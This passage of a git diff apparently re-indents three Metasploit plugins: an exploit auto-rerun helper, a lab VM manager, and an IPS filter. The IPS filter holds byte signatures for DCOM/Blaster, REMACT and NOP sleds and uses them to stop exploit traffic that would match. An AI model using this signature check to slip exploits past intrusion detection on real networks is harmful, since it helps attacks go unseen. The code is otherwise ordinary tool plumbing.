"FFAutoRegen" - end + # + # The dispatcher's name. + # + def name + "FFAutoRegen" + end - # - # Returns the hash of commands supported by this dispatcher. - # - def commands - { - "ffautoregen" => "Automatically regenerate the document when the exploti source changes" - } - end + # + # Returns the hash of commands supported by this dispatcher. + # + def commands + { + "ffautoregen" => "Automatically regenerate the document when the exploti source changes" + } + end - # - # This method handles the command. - # - def cmd_ffautoregen(*args) - if (not active_module) or (not (path = active_module.file_path)) - print_line("Error: No active module selected") - return nil - end + # + # This method handles the command. + # + def cmd_ffautoregen(*args) + if (not active_module) or (not (path = active_module.file_path)) + print_line("Error: No active module selected") + return nil + end - last = mt = File.stat(path).mtime + last = mt = File.stat(path).mtime - loop { - sleep(1) - mt = File.stat(path).mtime + loop { + sleep(1) + mt = File.stat(path).mtime - if (mt != last) - last = mt + if (mt != last) + last = mt - omod = active_module - nmod = framework.modules.reload_module(active_module) - if not nmod - print_line("Error: Failed to reload module, trying again on next change...") - next - end + omod = active_module + nmod = framework.modules.reload_module(active_module) + if not nmod + print_line("Error: Failed to reload module, trying again on next change...") + next + end - active_module = nmod + active_module = nmod - jobify = false - payload = nmod.datastore['PAYLOAD'] - encoder = nmod.datastore['ENCODER'] - target = nmod.datastore['TARGET'] - nop = nmod.datastore['NOP'] + jobify = false + payload = nmod.datastore['PAYLOAD'] + encoder = nmod.datastore['ENCODER'] + target = nmod.datastore['TARGET'] + nop = nmod.datastore['NOP'] - nmod.exploit_simple( - 'Encoder' => encoder, - 'Payload' => payload, - 'Target' => target, - 'Nop' => nop, + nmod.exploit_simple( + 'Encoder' => encoder, + 'Payload' => payload, + 'Target' => target, + 'Nop' => nop, # 'OptionStr' => opt_str, - 'LocalInput' => driver.input, - 'LocalOutput' => driver.output, - 'RunAsJob' => jobify) - end - } - end - end + 'LocalInput' => driver.input, + 'LocalOutput' => driver.output, + 'RunAsJob' => jobify) + end + } + end + end - def initialize(framework, opts) - super + def initialize(framework, opts) + super - # console dispatcher commands. - add_console_dispatcher(FFAutoRegenCommandDispatcher) - end + # console dispatcher commands. + add_console_dispatcher(FFAutoRegenCommandDispatcher) + end - def cleanup - remove_console_dispatcher('FFAutoRegen') - end + def cleanup + remove_console_dispatcher('FFAutoRegen') + end - def name - "ffautoregen" - end + def name + "ffautoregen" + end - def desc - "FileFormat AutoRegen Plugin" - end + def desc + "FileFormat AutoRegen Plugin" + end protected end diff --git a/plugins/ips_filter.rb b/plugins/ips_filter.rb index 5efa06e46c..db0e05afda 100644 --- a/plugins/ips_filter.rb +++ b/plugins/ips_filter.rb @@ -15,44 +15,44 @@ module Msf class Plugin::IPSFilter < Msf::Plugin - ### - # - # This class implements a socket communication logger - # - ### - class IPSSocketEventHandler - include Rex::Socket::Comm::Events + ### + # + # This class implements a socket communication logger + # + ### + class IPSSocketEventHandler + include Rex::Socket::Comm::Events - def on_before_socket_create(comm, param) - end + def on_before_socket_create(comm, param) + end - def on_socket_created(comm, sock, param) - # Sockets created by the exploit have MsfExploit set and MsfPayload not set - if (param.context['MsfExploit'] and (! param.context['MsfPayload'] )) - sock.extend(IPSFilter::SocketTracer) - sock.context = param.context - end - end - end + def on_socket_created(comm, sock, param) + # Sockets created by the exploit have MsfExploit set and MsfPayload not set + if (param.context['MsfExploit'] and (! param.context['MsfPayload'] )) + sock.extend(IPSFilter::SocketTracer) + sock.context = param.context + end + end + end - def initialize(framework, opts) - super - @ips_eh = IPSSocketEventHandler.new - Rex::Socket::Comm::Local.register_event_handler(@ips_eh) - end + def initialize(framework, opts) + super + @ips_eh = IPSSocketEventHandler.new + Rex::Socket::Comm::Local.register_event_handler(@ips_eh) + end - def cleanup - Rex::Socket::Comm::Local.deregister_event_handler(@ips_eh) - end + def cleanup + Rex::Socket::Comm::Local.deregister_event_handler(@ips_eh) + end - def name - "ips_filter" - end + def name + "ips_filter" + end - def desc - "Scans all outgoing data to see if it matches a known IPS signature" - end + def desc + "Scans all outgoing data to see if it matches a known IPS signature" + end protected end @@ -63,57 +63,57 @@ end module IPSFilter module SocketTracer - attr_accessor :context + attr_accessor :context - # Hook the write method - def write(buf, opts = {}) - if (ips_match(buf)) - print_error "Outbound write blocked due to possible signature match" - return 0 - end - super(buf, opts) - end + # Hook the write method + def write(buf, opts = {}) + if (ips_match(buf)) + print_error "Outbound write blocked due to possible signature match" + return 0 + end + super(buf, opts) + end - # Hook the read method - def read(length = nil, opts = {}) - r = super(length, opts) - if (ips_match(r)) - print_error "Incoming read may match a known signature" - end - return r - end + # Hook the read method + def read(length = nil, opts = {}) + r = super(length, opts) + if (ips_match(r)) + print_error "Incoming read may match a known signature" + end + return r + end - def close(*args) - super(*args) - end + def close(*args) + super(*args) + end - def ips_match(data) - lp = localport - rp = peerport + def ips_match(data) + lp = localport + rp = peerport - SIGS.each do |s| - begin - r = Regexp.new(s[1]) - if (data.match(r)) - print_error "Matched IPS signature #{s[0]}" - return true - end - rescue ::Exception => e - print_error "Compiled error: #{s[1]}" - end - end + SIGS.each do |s| + begin + r = Regexp.new(s[1]) + if (data.match(r)) + print_error "Matched IPS signature #{s[0]}" + return true + end + rescue ::Exception => e + print_error "Compiled error: #{s[1]}" + end + end - return false - end + return false + end - # Extend this as needed :-) - SIGS = - [ - ['DCOM.C', ".*\\\x5c\x00\\\x5c\x00\x46\x00\x58\x00\x4e\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00.*\xcc\xe0\xfd\x7f.*"], - ['BLASTER', ".*\\\x5c\x00\\\x5c\x00\x46\x00\x58\x00\x4e\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00.*\xcc\xe0\xfd\x7f.*"], - ['REMACT', ".*\xb8\x4a\x9f\x4d\x1c\\}\xcf\x11\x86\x1e\x00\x20\xaf\x6e.*"], - ['x86 NOP SLED', "\x90\x90"], - ] + # Extend this as needed :-) + SIGS = + [ + ['DCOM.C', ".*\\\x5c\x00\\\x5c\x00\x46\x00\x58\x00\x4e\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00.*\xcc\xe0\xfd\x7f.*"], + ['BLASTER', ".*\\\x5c\x00\\\x5c\x00\x46\x00\x58\x00\x4e\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00.*\xcc\xe0\xfd\x7f.*"], + ['REMACT', ".*\xb8\x4a\x9f\x4d\x1c\\}\xcf\x11\x86\x1e\x00\x20\xaf\x6e.*"], + ['x86 NOP SLED', "\x90\x90"], + ] end end diff --git a/plugins/lab.rb b/plugins/lab.rb index 4e588f0622..dee4a8a2f0 100644 --- a/plugins/lab.rb +++ b/plugins/lab.rb @@ -10,568 +10,568 @@ require 'yaml' module Msf class Plugin::Lab < Msf::Plugin - class LabCommandDispatcher - include Msf::Ui::Console::CommandDispatcher - - attr_accessor :controller - - def initialize(driver) - super(driver) - @controller = nil - - # - # Require the lab gem, but fail nicely if it's not there. - # - begin - require 'lab' - rescue LoadError - raise "WARNING: Lab gem not found, Please 'gem install lab'" - end - - end - - # - # Returns the hash of commands supported by this dispatcher. - # - def commands - { - "lab_help" => "lab_help <lab command> - Show that command's description.", - "lab_show" => "lab_show - show all vms in the lab.", - "lab_search" => "lab_search - search local vms in the lab.", - "lab_search_tags" => "lab_search_tag - search local vms in the lab.", - #"lab_search_remote" => "lab_search_remote - search remote vms in the lab.", - "lab_show_running" => "lab_show_running - show running vms.", - "lab_load" => "lab_load [file] - load a lab definition from disk.", - "lab_save" => "lab_save [filename] - persist a lab definition in a file.", - "lab_load_running" => "lab_load_running [type] [user] [host] - use the running vms to create a lab.", - "lab_load_config" => "lab_load_config [type] [user] [host] - use the vms in the config to create a lab.", - "lab_load_dir" => "lab_load_dir [type] [directory] - create a lab from a specified directory.", - "lab_clear" => "lab_clear - clear the running lab.", - "lab_start" => "lab_start [vmid+|all] start the specified vm.", - "lab_reset" => "lab_reset [vmid+|all] reset the specified vm.", - "lab_suspend" => "lab_suspend [vmid+|all] suspend the specified vm.", - "lab_stop" => "lab_stop [vmid+|all] stop the specified vm.", - "lab_revert" => "lab_revert [vmid+|all] [snapshot] revert the specified vm.", - "lab_snapshot" => "lab_snapshot [vmid+|all] [snapshot] snapshot all targets for this exploit.", - "lab_upload" => "lab_upload [vmid] [local_path] [remote_path] upload a file.", - "lab_run_command" => "lab_run_command [vmid+|all] [command] run a command on all targets.", - "lab_browse_to" => "lab_browse_to [vmid+|all] [uri] use the default browser to browse to a uri." - } - end - - def name - "Lab" - end - - ## - ## Regular Lab Commands - ## - - def cmd_lab_load(*args) - return lab_usage unless args.count == 1 - - res = args[0] - good_res = nil - if (File.file? res and File.readable? res) - # then the provided argument is an absolute path and is gtg. - good_res = res - elsif - # let's check to see if it's in the data/lab dir (like when tab completed) - [ - ::Msf::Config.data_directory + File::SEPARATOR + "lab", - # there isn't a user_data_directory, but could use: - #::Msf::Config.user_plugins_directory + File::SEPARATOR + "lab" - ].each do |dir| - res_path = dir + File::SEPARATOR + res - if (File.file?(res_path) and File.readable?(res_path)) - good_res = res_path - break - end - end - end - if good_res - @controller.from_file(good_res) - else - print_error("#{res} is not a valid lab definition file (.yml)") - end - end - - # - # Tab completion for the lab_load command - # - def cmd_lab_load_tabs(str, words) - tabs = [] - #return tabs if words.length > 1 - if ( str and str =~ /^#{Regexp.escape(File::SEPARATOR)}/ ) - # then you are probably specifying a full path so let's just use normal file completion - return tab_complete_filenames(str,words) - elsif (not words[1] or not words[1].match(/^\//)) - # then let's start tab completion in the data/lab directory - begin - [ - ::Msf::Config.data_directory + File::SEPARATOR + "lab", - # there isn't a user_data_directory, but could use: - #::Msf::Config.user_plugins_directory + File::SEPARATOR + "lab" - ].each do |dir| - next if not ::File.exist? dir - tabs += ::Dir.new(dir).find_all { |e| - path = dir + File::SEPARATOR + e - ::File.file?(path) and File.readable?(path) - } - end - rescue Exception - end - else - tabs += tab_complete_filenames(str,words) - end - return tabs - end - - def cmd_lab_load_dir(*args) - return lab_usage unless args.count == 2 - @controller.build_from_dir(args[0],args[1],true) - end - - def cmd_lab_clear(*args) - @controller.clear! - end - - def cmd_lab_save(*args) - return lab_usage if args.empty? - @controller.to_file(args[0]) - end - - def cmd_lab_load_running(*args) - return lab_usage if args.empty? - - if args[0] =~ /^remote_/ - return lab_usage unless args.count == 3 - ## Expect a username & password - @controller.build_from_running(args[0], args[1], args[2]) - else - return lab_usage unless args.count == 1 - @controller.build_from_running(args[0]) - end - end - - def cmd_lab_load_config(*args) - return lab_usage if args.empty? - - if args[0] =~ /^remote_/ - return lab_usage unless args.count == 3 - ## Expect a username & password - @controller.build_from_config(args[0], args[1], args[2]) - else - return lab_usage unless args.count == 1 - @controller.build_from_config(args[0]) - end - end - - def cmd_lab_load_dir(*args) - return lab_usage unless args.count == 2 - @controller.build_from_dir(args[0],args[1],true) - end - - def cmd_lab_clear(*args) - @controller.clear! - end - - def cmd_lab_save(*args) - return lab_usage if args.empty? - @controller.to_file(args[0]) - end - - - ## - ## Commands for dealing with a currently-loaded lab - ## - def cmd_lab_show(*args) - if args.empty? - hlp_print_lab - else - args.each do |name| - if @controller.includes_hostname? name - print_line @controller[name].to_yaml - else - print_error "Unknown vm '#{name}'" - end - end - end - end - - def cmd_lab_show_running(*args) - hlp_print_lab_running - end - - - def cmd_lab_search(*args) - if args.empty? - hlp_print_lab - else - args.each do |arg| - print_line "Searching for vms with hostname matching #{arg}" - @controller.each do |vm| - print_line "checking to see #{vm.hostname} matches #{arg}" - print_line "#{vm.hostname} matched #{arg}" if vm.hostname =~ Regexp.new(arg) - end - end - end - end - - def cmd_lab_search_tags(*args) - if args.empty? - hlp_print_lab - else - args.each do |arg| - print_line "Searching for vms with tags matching #{arg}" - @controller.each do |vm| - print_line "checking to see #{vm.hostname} is tagged #{arg}" - print_line "#{vm.hostname} tagged #{arg}" if vm.tagged?(arg) - end - end - end - end - - - def cmd_lab_start(*args) - return lab_usage if args.empty? - - if args[0] == "all" - @controller.each do |vm| - print_line "Starting lab vm #{vm.hostname}." - if !vm.running? - vm.start - else - print_line "Lab vm #{vm.hostname} already running." - end - end - else - args.each do |arg| - if @controller.includes_hostname? arg - vm = @controller.find_by_hostname(arg) - if !vm.running? - print_line "Starting lab vm #{vm.hostname}." - vm.start - else - print_line "Lab vm #{vm.hostname} already running." - end - end - end - end - end - - def cmd_lab_stop(*args) - return lab_usage if args.empty? - - if args[0] == "all" - @controller.each do |vm| - print_line "Stopping lab vm #{vm.hostname}." - if vm.running? - vm.stop - else - print_line "Lab vm #{vm.hostname} not running." - end - end - else - args.each do |arg| - if @controller.includes_hostname? arg - vm = @controller.find_by_hostname(arg) - if vm.running? - print_line "Stopping lab vm #{vm.hostname}." - vm.stop - else - print_line "Lab vm #{vm.hostname} not running." - end - end - end - end - end - - def cmd_lab_suspend(*args) - return lab_usage if args.empty? - - if args[0] == "all" - @controller.each{ |vm| vm.suspend } - else - args.each do |arg| - if @controller.includes_hostname? arg - if @controller.find_by_hostname(arg).running? - print_line "Suspending lab vm #{arg}." - @controller.find_by_hostname(arg).suspend - end - end - end - end - end - - def cmd_lab_reset(*args) - return lab_usage if args.empty? - - if args[0] == "all" - print_line "Resetting all lab vms." - @controller.each{ |vm| vm.reset } - else - args.each do |arg| - if @controller.includes_hostname? arg - if @controller.find_by_hostname(arg).running? - print_line "Resetting lab vm #{arg}." - @controller.find_by_hostname(arg).reset - end - end - end - end - end - - - def cmd_lab_snapshot(*args) - return lab_usage if args.count < 2 - snapshot = args[args.count-1] - - if args[0] == "all" - print_line "Snapshotting all lab vms to snapshot: #{snapshot}." - @controller.each{ |vm| vm.create_snapshot(snapshot) } - else - args[0..-2].each do |name_arg| - next unless @controller.includes_hostname? name_arg - print_line "Snapshotting #{name_arg} to snapshot: #{snapshot}." - @controller[name_arg].create_snapshot(snapshot) - end - end - end - - - def cmd_lab_revert(*args) - return lab_usage if args.count < 2 - snapshot = args[args.count-1] - - if args[0] == "all" - print_line "Reverting all lab vms to snapshot: #{snapshot}." - @controller.each{ |vm| vm.revert_snapshot(snapshot) } - else - args[0..-2].each do |name_arg| - next unless @controller.includes_hostname? name_arg - print_line "Reverting #{name_arg} to snapshot: #{snapshot}." - @controller[name_arg].revert_snapshot(snapshot) - end - end - end - - - def cmd_lab_run_command(*args) - return lab_usage if args.empty? - command = args[args.count-1] - if args[0] == "all" - print_line "Running command #{command} on all vms." - @controller.each do |vm| - if vm.running? - print_line "#{vm.hostname} running command: #{command}." - vm.run_command(command) - end - end - else - args[0..-2].each do |name_arg| - next unless @controller.includes_hostname? name_arg - if @controller[name_arg].running? - print_line "#{name_arg} running command: #{command}." - @controller[name_arg].run_command(command) - end - end - end - end - - # - # Command: lab_upload [vmids] [from] [to] - # - # Description: Uploads a file to the guest(s) - # - # Quirks: Pass "all" as a vmid to have it operate on all vms. - # - def cmd_lab_upload(*args) - return lab_usage if args.empty? - return lab_usage if args.count < 3 - - local_path = args[args.count-2] - vm_path = args[args.count-1] - - if args[0] == "all" - @controller.each do |vm| - if vm.running? - print_line "Copying from #{local_path} to #{vm_path} on #{vm.hostname}" - vm.copy_to_guest(local_path, vm_path) - end - end - else - args[0..-2].each do |vmid_arg| - next unless @controller.includes_hostname? vmid_arg - if @controller[vmid_arg].running? - print_line "Copying from #{local_path} to #{vm_path} on #{vmid_arg}" - @controller[vmid_arg].copy_to_guest(local_path, vm_path) - end - end - end - end - - def cmd_lab_browse_to(*args) - return lab_usage if args.empty? - uri = args[args.count-1] - if args[0] == "all" - print_line "Opening: #{uri} on all vms." - @controller.each do |vm| - if vm.running? - print_line "#{vm.hostname} opening to uri: #{uri}." - vm.open_uri(uri) - end - end - else - args[0..-2].each do |name_arg| - next unless @controller.includes_hostname? name_arg - if @controller[name_arg].running? - print_line "#{name_arg} opening to uri: #{uri}." - @controller[name_arg].open_uri(uri) - end - end - end - end - - - ## - ## Commands for help - ## - - def longest_cmd_size - commands.keys.map {|x| x.size}.sort.last - end - - # No extended help yet, but this is where more detailed documentation - # on particular commands would live. Key is command, (not cmd_command), - # value is the documentation. - def extended_help - { - "lab_fake_cmd" => "This is a fake command. It's got its own special docs." + - (" " * longest_cmd_size) + "It might be long so so deal with formatting somehow." - } - end - - # Map for usages - def lab_usage - caller[0][/`cmd_(.*)'/] - cmd = $1 - if extended_help[cmd] || commands[cmd] - cmd_lab_help cmd - else # Should never really get here... - print_error "Unknown command. Try 'help'" - end - end - - def cmd_lab_help(*args) - if args.empty? - commands.each_pair {|k,v| print_line "%-#{longest_cmd_size}s - %s" % [k,v] } - else - args.each do |c| - if extended_help[c] || commands[c] - print_line "%-#{longest_cmd_size}s - %s" % [c,extended_help[c] || commands[c]] - else - print_error "Unknown command '#{c}'" - end - end - end - - print_line - print_line "In order to use this plugin, you'll want to configure a .yml lab file" - print_line "You can find an example in data/lab/test_targets.yml" - print_line - end - - - private - def hlp_print_lab - indent = ' ' - - tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Available Lab VMs', - 'Indent' => indent.length, - 'Columns' => [ 'Hostname', 'Driver', 'Type' ] - ) - - @controller.each do |vm| - tbl << [ vm.hostname, - vm.driver.class, - vm.type] - end - - print_line tbl.to_s - end - - def hlp_print_lab_running - indent = ' ' - - tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Running Lab VMs', - 'Indent' => indent.length, - 'Columns' => [ 'Hostname', 'Driver', 'Type', 'Power?' ] - ) - - @controller.each do |vm| - if vm.running? - tbl << [ vm.hostname, - vm.driver.class, - vm.type, - vm.running?] - end - end - print_line tbl.to_s - end - - - end - - # - # The constructor is called when an instance of the plugin is created. The - # framework instance that the plugin is being associated with is passed in - # the framework parameter. Plugins should call the parent constructor when - # inheriting from Msf::Plugin to ensure that the framework attribute on - # their instance gets set. - # - attr_accessor :controller - - def initialize(framework, opts) - super - - ## Register the commands above - console_dispatcher = add_console_dispatcher(LabCommandDispatcher) - - @controller = ::Lab::Controllers::VmController.new - - ## Share the vms - console_dispatcher.controller = @controller - end - - - # - # The cleanup routine for plugins gives them a chance to undo any actions - # they may have done to the framework. For instance, if a console - # dispatcher was added, then it should be removed in the cleanup routine. - # - def cleanup - # If we had previously registered a console dispatcher with the console, - # deregister it now. - remove_console_dispatcher('Lab') - end - - # - # This method returns a short, friendly name for the plugin. - # - def name - "lab" - end - - # - # This method returns a brief description of the plugin. It should be no - # more than 60 characters, but there are no hard limits. - # - def desc - "Adds the ability to manage VMs" - end + class LabCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + attr_accessor :controller + + def initialize(driver) + super(driver) + @controller = nil + + # + # Require the lab gem, but fail nicely if it's not there. + # + begin + require 'lab' + rescue LoadError + raise "WARNING: Lab gem not found, Please 'gem install lab'" + end + + end + + # + # Returns the hash of commands supported by this dispatcher. + # + def commands + { + "lab_help" => "lab_help <lab command> - Show that command's description.", + "lab_show" => "lab_show - show all vms in the lab.", + "lab_search" => "lab_search - search local vms in the lab.", + "lab_search_tags" => "lab_search_tag - search local vms in the lab.", + #"lab_search_remote" => "lab_search_remote - search remote vms in the lab.", + "lab_show_running" => "lab_show_running - show running vms.", + "lab_load" => "lab_load [file] - load a lab definition from disk.", + "lab_save" => "lab_save [filename] - persist a lab definition in a file.", + "lab_load_running" => "lab_load_running [type] [user] [host] - use the running vms to create a lab.", + "lab_load_config" => "lab_load_config [type] [user] [host] - use the vms in the config to create a lab.", + "lab_load_dir" => "lab_load_dir [type] [directory] - create a lab from a specified directory.", + "lab_clear" => "lab_clear - clear the running lab.", + "lab_start" => "lab_start [vmid+|all] start the specified vm.", + "lab_reset" => "lab_reset [vmid+|all] reset the specified vm.", + "lab_suspend" => "lab_suspend [vmid+|all] suspend the specified vm.", + "lab_stop" => "lab_stop [vmid+|all] stop the specified vm.", + "lab_revert" => "lab_revert [vmid+|all] [snapshot] revert the specified vm.", + "lab_snapshot" => "lab_snapshot [vmid+|all] [snapshot] snapshot all targets for this exploit.", + "lab_upload" => "lab_upload [vmid] [local_path] [remote_path] upload a file.", + "lab_run_command" => "lab_run_command [vmid+|all] [command] run a command on all targets.", + "lab_browse_to" => "lab_browse_to [vmid+|all] [uri] use the default browser to browse to a uri." + } + end + + def name + "Lab" + end + + ## + ## Regular Lab Commands + ## + + def cmd_lab_load(*args) + return lab_usage unless args.count == 1 + + res = args[0] + good_res = nil + if (File.file? res and File.readable? res) + # then the provided argument is an absolute path and is gtg. + good_res = res + elsif + # let's check to see if it's in the data/lab dir (like when tab completed) + [ + ::Msf::Config.data_directory + File::SEPARATOR + "lab", + # there isn't a user_data_directory, but could use: + #::Msf::Config.user_plugins_directory + File::SEPARATOR + "lab" + ].each do |dir| + res_path = dir + File::SEPARATOR + res + if (File.file?(res_path) and File.readable?(res_path)) + good_res = res_path + break + end + end + end + if good_res + @controller.from_file(good_res) + else + print_error("#{res} is not a valid lab definition file (.yml)") + end + end + + # + # Tab completion for the lab_load command + # + def cmd_lab_load_tabs(str, words) + tabs = [] + #return tabs if words.length > 1 + if ( str and str =~ /^#{Regexp.escape(File::SEPARATOR)}/ ) + # then you are probably specifying a full path so let's just use normal file completion + return tab_complete_filenames(str,words) + elsif (not words[1] or not words[1].match(/^\//)) + # then let's start tab completion in the data/lab directory + begin + [ + ::Msf::Config.data_directory + File::SEPARATOR + "lab", + # there isn't a user_data_directory, but could use: + #::Msf::Config.user_plugins_directory + File::SEPARATOR + "lab" + ].each do |dir| + next if not ::File.exist? dir + tabs += ::Dir.new(dir).find_all { |e| + path = dir + File::SEPARATOR + e + ::File.file?(path) and File.readable?(path) + } + end + rescue Exception + end + else + tabs += tab_complete_filenames(str,words) + end + return tabs + end + + def cmd_lab_load_dir(*args) + return lab_usage unless args.count == 2 + @controller.build_from_dir(args[0],args[1],true) + end + + def cmd_lab_clear(*args) + @controller.clear! + end + + def cmd_lab_save(*args) + return lab_usage if args.empty? + @controller.to_file(args[0]) + end + + def cmd_lab_load_running(*args) + return lab_usage if args.empty? + + if args[0] =~ /^remote_/ + return lab_usage unless args.count == 3 + ## Expect a username & password + @controller.build_from_running(args[0], args[1], args[2]) + else + return lab_usage unless args.count == 1 + @controller.build_from_running(args[0]) + end + end + + def cmd_lab_load_config(*args) + return lab_usage if args.empty? + + if args[0] =~ /^remote_/ + return lab_usage unless args.count == 3 + ## Expect a username & password + @controller.build_from_config(args[0], args[1], args[2]) + else + return lab_usage unless args.count == 1 + @controller.build_from_config(args[0]) + end + end + + def cmd_lab_load_dir(*args) + return lab_usage unless args.count == 2 + @controller.build_from_dir(args[0],args[1],true) + end + + def cmd_lab_clear(*args) + @controller.clear! + end + + def cmd_lab_save(*args) + return lab_usage if args.empty? + @controller.to_file(args[0]) + end + + + ## + ## Commands for dealing with a currently-loaded lab + ## + def cmd_lab_show(*args) + if args.empty? + hlp_print_lab + else + args.each do |name| + if @controller.includes_hostname? name + print_line @controller[name].to_yaml + else + print_error "Unknown vm '#{name}'" + end + end + end + end + + def cmd_lab_show_running(*args) + hlp_print_lab_running + end + + + def cmd_lab_search(*args) + if args.empty? + hlp_print_lab + else + args.each do |arg| + print_line "Searching for vms with hostname matching #{arg}" + @controller.each do |vm| + print_line "checking to see #{vm.hostname} matches #{arg}" + print_line "#{vm.hostname} matched #{arg}" if vm.hostname =~ Regexp.new(arg) + end + end + end + end + + def cmd_lab_search_tags(*args) + if args.empty? + hlp_print_lab + else + args.each do |arg| + print_line "Searching for vms with tags matching #{arg}" + @controller.each do |vm| + print_line "checking to see #{vm.hostname} is tagged #{arg}" + print_line "#{vm.hostname} tagged #{arg}" if vm.tagged?(arg) + end + end + end + end + + + def cmd_lab_start(*args) + return lab_usage if args.empty? + + if args[0] == "all" + @controller.each do |vm| + print_line "Starting lab vm #{vm.hostname}." + if !vm.running? + vm.start + else + print_line "Lab vm #{vm.hostname} already running." + end + end + else + args.each do |arg| + if @controller.includes_hostname? arg + vm = @controller.find_by_hostname(arg) + if !vm.running? + print_line "Starting lab vm #{vm.hostname}." + vm.start + else + print_line "Lab vm #{vm.hostname} already running." + end + end + end + end + end + + def cmd_lab_stop(*args) + return lab_usage if args.empty? + + if args[0] == "all" + @controller.each do |vm| + print_line "Stopping lab vm #{vm.hostname}." + if vm.running? + vm.stop + else + print_line "Lab vm #{vm.hostname} not running." + end + end + else + args.each do |arg| + if @controller.includes_hostname? arg + vm = @controller.find_by_hostname(arg) + if vm.running? + print_line "Stopping lab vm #{vm.hostname}." + vm.stop + else + print_line "Lab vm #{vm.hostname} not running." + end + end + end + end + end + + def cmd_lab_suspend(*args) + return lab_usage if args.empty? + + if args[0] == "all" + @controller.each{ |vm| vm.suspend } + else + args.each do |arg| + if @controller.includes_hostname? arg + if @controller.find_by_hostname(arg).running? + print_line "Suspending lab vm #{arg}." + @controller.find_by_hostname(arg).suspend + end + end + end + end + end + + def cmd_lab_reset(*args) + return lab_usage if args.empty? + + if args[0] == "all" + print_line "Resetting all lab vms." + @controller.each{ |vm| vm.reset } + else + args.each do |arg| + if @controller.includes_hostname? arg + if @controller.find_by_hostname(arg).running? + print_line "Resetting lab vm #{arg}." + @controller.find_by_hostname(arg).reset + end + end + end + end + end + + + def cmd_lab_snapshot(*args) + return lab_usage if args.count < 2 + snapshot = args[args.count-1] + + if args[0] == "all" + print_line "Snapshotting all lab vms to snapshot: #{snapshot}." + @controller.each{ |vm| vm.create_snapshot(snapshot) } + else + args[0..-2].each do |name_arg| + next unless @controller.includes_hostname? name_arg + print_line "Snapshotting #{name_arg} to snapshot: #{snapshot}." + @controller[name_arg].create_snapshot(snapshot) + end + end + end + + + def cmd_lab_revert(*args) + return lab_usage if args.count < 2 + snapshot = args[args.count-1] + + if args[0] == "all" + print_line "Reverting all lab vms to snapshot: #{snapshot}." + @controller.each{ |vm| vm.revert_snapshot(snapshot) } + else + args[0..-2].each do |name_arg| + next unless @controller.includes_hostname? name_arg + print_line "Reverting #{name_arg} to snapshot: #{snapshot}." + @controller[name_arg].revert_snapshot(snapshot) + end + end + end + + + def cmd_lab_run_command(*args) + return lab_usage if args.empty? + command = args[args.count-1] + if args[0] == "all" + print_line "Running command #{command} on all vms." + @controller.each do |vm| + if vm.running? + print_line "#{vm.hostname} running command: #{command}." + vm.run_command(command) + end + end + else + args[0..-2].each do |name_arg| + next unless @controller.includes_hostname? name_arg + if @controller[name_arg].running? + print_line "#{name_arg} running command: #{command}." + @controller[name_arg].run_command(command) + end + end + end + end + + # + # Command: lab_upload [vmids] [from] [to] + # + # Description: Uploads a file to the guest(s) + # + # Quirks: Pass "all" as a vmid to have it operate on all vms. + # + def cmd_lab_upload(*args) + return lab_usage if args.empty? + return lab_usage if args.count < 3 + + local_path = args[args.count-2] + vm_path = args[args.count-1] + + if args[0] == "all" + @controller.each do |vm| + if vm.running? + print_line "Copying from #{local_path} to #{vm_path} on #{vm.hostname}" + vm.copy_to_guest(local_path, vm_path) + end + end + else + args[0..-2].each do |vmid_arg| + next unless @controller.includes_hostname? vmid_arg + if @controller[vmid_arg].running? + print_line "Copying from #{local_path} to #{vm_path} on #{vmid_arg}" + @controller[vmid_arg].copy_to_guest(local_path, vm_path) + end + end + end + end + + def cmd_lab_browse_to(*args) + return lab_usage if args.empty? + uri = args[args.count-1] + if args[0] == "all" + print_line "Opening: #{uri} on all vms." + @controller.each do |vm| + if vm.running? + print_line "#{vm.hostname} opening to uri: #{uri}." + vm.open_uri(uri) + end + end + else + args[0..-2].each do |name_arg| + next unless @controller.includes_hostname? name_arg + if @controller[name_arg].running? + print_line "#{name_arg} opening to uri: #{uri}." + @controller[name_arg].open_uri(uri) + end + end + end + end + + + ## + ## Commands for help + ## + + def longest_cmd_size + commands.keys.map {|x| x.size}.sort.last + end + + # No extended help yet, but this is where more detailed documentation + # on particular commands would live. Key is command, (not cmd_command), + # value is the documentation. + def extended_help + { + "lab_fake_cmd" => "This is a fake command. It's got its own special docs." + + (" " * longest_cmd_size) + "It might be long so so deal with formatting somehow." + } + end + + # Map for usages + def lab_usage + caller[0][/`cmd_(.*)'/] + cmd = $1 + if extended_help[cmd] || commands[cmd] + cmd_lab_help cmd + else # Should never really get here... + print_error "Unknown command. Try 'help'" + end + end + + def cmd_lab_help(*args) + if args.empty? + commands.each_pair {|k,v| print_line "%-#{longest_cmd_size}s - %s" % [k,v] } + else + args.each do |c| + if extended_help[c] || commands[c] + print_line "%-#{longest_cmd_size}s - %s" % [c,extended_help[c] || commands[c]] + else + print_error "Unknown command '#{c}'" + end + end + end + + print_line + print_line "In order to use this plugin, you'll want to configure a .yml lab file" + print_line "You can find an example in data/lab/test_targets.yml" + print_line + end + + + private + def hlp_print_lab + indent = ' ' + + tbl = Rex::Ui::Text::Table.new( + 'Header' => 'Available Lab VMs', + 'Indent' => indent.length, + 'Columns' => [ 'Hostname', 'Driver', 'Type' ] + ) + + @controller.each do |vm| + tbl << [ vm.hostname, + vm.driver.class, + vm.type] + end + + print_line tbl.to_s + end + + def hlp_print_lab_running + indent = ' ' + + tbl = Rex::Ui::Text::Table.new( + 'Header' => 'Running Lab VMs', + 'Indent' => indent.length, + 'Columns' => [ 'Hostname', 'Driver', 'Type', 'Power?' ] + ) + + @controller.each do |vm| + if vm.running? + tbl << [ vm.hostname, + vm.driver.class, + vm.type, + vm.running?] + end + end + print_line tbl.to_s + end + + + end + + # + # The constructor is called when an instance of the plugin is created. The + # framework instance that the plugin is being associated with is passed in + # the framework parameter. Plugins should call the parent constructor when + # inheriting from Msf::Plugin to ensure that the framework attribute on + # their instance gets set. + # + attr_accessor :controller + + def initialize(framework, opts) + super + + ## Register the commands above + console_dispatcher = add_console_dispatcher(LabCommandDispatcher) + + @controller = ::Lab::Controllers::VmController.new + + ## Share the vms + console_dispatcher.controller = @controller + end + + + # + # The cleanup routine for plugins gives them a chance to undo any actions + # they may have done to the framework. For instance, if a console + # 